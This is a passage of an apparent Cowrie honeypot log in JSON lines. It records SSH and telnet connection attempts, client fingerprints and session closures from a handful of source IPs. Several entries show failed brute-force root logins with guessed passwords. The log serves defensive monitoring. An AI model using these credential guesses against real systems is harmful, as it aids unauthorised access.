,"aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:14.972712Z","src_ip":"189.194.140.170","session":"e8da0d12f987","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zaq123wsx","message":"login attempt [root/zaq123wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:15.403535Z","src_ip":"189.194.140.170","session":"e8da0d12f987","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:16.506706Z","src_ip":"189.194.140.170","session":"e8da0d12f987","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":39970,"dst_ip":"159.203.135.109","dst_port":23,"session":"59a91e1b62aa","protocol":"telnet","message":"New connection: 142.93.2.99:39970 (159.203.135.109:23) [session: 59a91e1b62aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:16.772251Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":40158,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d49f84e742e","protocol":"telnet","message":"New connection: 142.93.2.99:40158 (159.203.135.109:23) [session: 5d49f84e742e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:17.012552Z"}
{"eventid":"cowrie.session.closed","duration":32.07720613479614,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:17.047188Z","src_ip":"142.93.2.99","session":"52dc9f2da924","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.94114947319031,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:17.283928Z","src_ip":"142.93.2.99","session":"b3d8b138feea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":59262,"dst_ip":"10.17.0.5","dst_port":23,"session":"8201e106e44b","protocol":"telnet","message":"New connection: 104.245.105.2:59262 (10.17.0.5:23) [session: 8201e106e44b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:17.648127Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":60262,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fee93a810b0","protocol":"ssh","message":"New connection: 194.59.206.2:60262 (10.17.0.5:22) [session: 2fee93a810b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:19.641300Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:19.647075Z","src_ip":"194.59.206.2","session":"2fee93a810b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:19.743670Z","src_ip":"194.59.206.2","session":"2fee93a810b0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:19.838663Z","src_ip":"194.59.206.2","session":"2fee93a810b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":42512,"dst_ip":"159.203.135.109","dst_port":23,"session":"517840eb8c5c","protocol":"telnet","message":"New connection: 142.93.2.99:42512 (159.203.135.109:23) [session: 517840eb8c5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:20.877561Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":46778,"dst_ip":"10.17.0.5","dst_port":23,"session":"fc9990f8bffe","protocol":"telnet","message":"New connection: 104.245.105.2:46778 (10.17.0.5:23) [session: fc9990f8bffe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:22.105020Z"}
{"eventid":"cowrie.session.closed","duration":33.22541785240173,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:22.344849Z","src_ip":"142.93.2.99","session":"21311996762d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":43552,"dst_ip":"159.203.135.109","dst_port":23,"session":"3f46ad489588","protocol":"telnet","message":"New connection: 142.93.2.99:43552 (159.203.135.109:23) [session: 3f46ad489588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:24.201635Z"}
{"eventid":"cowrie.session.closed","duration":31.73637557029724,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:24.601924Z","src_ip":"142.93.2.99","session":"c9192e68d8b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50628,"dst_ip":"159.203.135.109","dst_port":23,"session":"8afd6808b532","protocol":"telnet","message":"New connection: 142.93.2.99:50628 (159.203.135.109:23) [session: 8afd6808b532]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:30.300671Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":54252,"dst_ip":"159.203.135.109","dst_port":23,"session":"68668a38c57c","protocol":"telnet","message":"New connection: 142.93.2.99:54252 (159.203.135.109:23) [session: 68668a38c57c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:35.951406Z"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":59736,"dst_ip":"159.203.135.109","dst_port":22,"session":"f04174422ba3","protocol":"ssh","message":"New connection: 186.233.118.22:59736 (159.203.135.109:22) [session: f04174422ba3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:36.416171Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:36.421129Z","src_ip":"186.233.118.22","session":"f04174422ba3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:36.540715Z","src_ip":"186.233.118.22","session":"f04174422ba3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwer123456","message":"login attempt [root/qwer123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:37.051441Z","src_ip":"186.233.118.22","session":"f04174422ba3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.81673526763916,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:37.294053Z","src_ip":"104.245.105.2","session":"92b41845a1b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:38.173581Z","src_ip":"186.233.118.22","session":"f04174422ba3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":56574,"dst_ip":"159.203.135.109","dst_port":23,"session":"d556a77678a2","protocol":"telnet","message":"New connection: 142.93.2.99:56574 (159.203.135.109:23) [session: d556a77678a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:38.277855Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":57788,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d1be31a766c","protocol":"telnet","message":"New connection: 142.93.2.99:57788 (159.203.135.109:23) [session: 8d1be31a766c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:39.777136Z"}
{"eventid":"cowrie.session.closed","duration":34.53820013999939,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:45.818748Z","src_ip":"142.93.2.99","session":"df04eaeb1790","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35478,"dst_ip":"159.203.135.109","dst_port":23,"session":"2cb2f22db507","protocol":"telnet","message":"New connection: 142.93.2.99:35478 (159.203.135.109:23) [session: 2cb2f22db507]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:47.831122Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":34852,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b2ed54b70d3","protocol":"telnet","message":"New connection: 142.93.2.99:34852 (159.203.135.109:23) [session: 2b2ed54b70d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:47.945317Z"}
{"eventid":"cowrie.session.closed","duration":33.32143211364746,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:50.333914Z","src_ip":"142.93.2.99","session":"5d49f84e742e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.471383571624756,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:51.243497Z","src_ip":"142.93.2.99","session":"59a91e1b62aa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.72347617149353,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:53.371491Z","src_ip":"104.245.105.2","session":"8201e106e44b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.14749574661255,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:54.024956Z","src_ip":"142.93.2.99","session":"517840eb8c5c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.14926338195801,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:54.254148Z","src_ip":"104.245.105.2","session":"fc9990f8bffe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.621837854385376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:57.823334Z","src_ip":"142.93.2.99","session":"3f46ad489588","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53424,"dst_ip":"10.17.0.5","dst_port":23,"session":"d057761316d2","protocol":"telnet","message":"New connection: 104.245.105.2:53424 (10.17.0.5:23) [session: d057761316d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:59.575239Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":44982,"dst_ip":"159.203.135.109","dst_port":23,"session":"9b055ddc0dd2","protocol":"telnet","message":"New connection: 142.93.2.99:44982 (159.203.135.109:23) [session: 9b055ddc0dd2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:13:59.950203Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":46434,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2f727f39504","protocol":"telnet","message":"New connection: 142.93.2.99:46434 (159.203.135.109:23) [session: f2f727f39504]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:03.281858Z"}
{"eventid":"cowrie.session.closed","duration":33.92680740356445,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:04.227364Z","src_ip":"142.93.2.99","session":"8afd6808b532","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":48184,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2d64ad3692f","protocol":"telnet","message":"New connection: 142.93.2.99:48184 (159.203.135.109:23) [session: c2d64ad3692f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:04.597495Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":50572,"dst_ip":"159.203.135.109","dst_port":23,"session":"c0ad7f0f9e66","protocol":"telnet","message":"New connection: 142.93.2.99:50572 (159.203.135.109:23) [session: c0ad7f0f9e66]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:07.627648Z"}
{"eventid":"cowrie.session.closed","duration":32.01933670043945,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:07.970648Z","src_ip":"142.93.2.99","session":"68668a38c57c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"189.194.140.170","src_port":59358,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ecf58978e89","protocol":"ssh","message":"New connection: 189.194.140.170:59358 (159.203.135.109:22) [session: 0ecf58978e89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:09.055999Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:09.066644Z","src_ip":"189.194.140.170","session":"0ecf58978e89","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:09.158095Z","src_ip":"189.194.140.170","session":"0ecf58978e89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":53426,"dst_ip":"10.17.0.5","dst_port":23,"session":"24b29f1b6aec","protocol":"telnet","message":"New connection: 104.245.105.2:53426 (10.17.0.5:23) [session: 24b29f1b6aec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:09.318666Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qa123456789","message":"login attempt [root/Qa123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:09.538624Z","src_ip":"189.194.140.170","session":"0ecf58978e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.13959980010986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:10.417327Z","src_ip":"142.93.2.99","session":"d556a77678a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:10.640847Z","src_ip":"189.194.140.170","session":"0ecf58978e89","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.95057725906372,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:12.727568Z","src_ip":"142.93.2.99","session":"8d1be31a766c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":58626,"dst_ip":"159.203.135.109","dst_port":23,"session":"44b48f8a9a69","protocol":"telnet","message":"New connection: 142.93.2.99:58626 (159.203.135.109:23) [session: 44b48f8a9a69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:17.314824Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":57048,"dst_ip":"10.17.0.5","dst_port":23,"session":"e42c4e49318e","protocol":"telnet","message":"New connection: 104.245.105.2:57048 (10.17.0.5:23) [session: e42c4e49318e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:18.225511Z"}
{"eventid":"cowrie.session.closed","duration":32.23412728309631,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:20.179323Z","src_ip":"142.93.2.99","session":"2b2ed54b70d3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.010820150375366,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:21.841854Z","src_ip":"142.93.2.99","session":"2cb2f22db507","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":35962,"dst_ip":"159.203.135.109","dst_port":23,"session":"49a28f33ea93","protocol":"telnet","message":"New connection: 142.93.2.99:35962 (159.203.135.109:23) [session: 49a28f33ea93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:23.281812Z"}
{"eventid":"cowrie.session.connect","src_ip":"142.93.2.99","src_port":36378,"dst_ip":"159.203.135.109","dst_port":23,"session":"c63b6c9a8696","protocol":"telnet","message":"New connection: 142.93.2.99:36378 (159.203.135.109:23) [session: c63b6c9a8696]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:23.667117Z"}
{"eventid":"cowrie.session.closed","duration":35.14720964431763,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:35.097336Z","src_ip":"142.93.2.99","session":"9b055ddc0dd2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17965126037598,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:35.461367Z","src_ip":"142.93.2.99","session":"f2f727f39504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.233.118.22","src_port":41590,"dst_ip":"159.203.135.109","dst_port":22,"session":"ca4ffbdc2520","protocol":"ssh","message":"New connection: 186.233.118.22:41590 (159.203.135.109:22) [session: ca4ffbdc2520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:36.868632Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T05:14:36.873831Z","src_ip":"186.233.118.22","session":"ca4ffbdc2520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 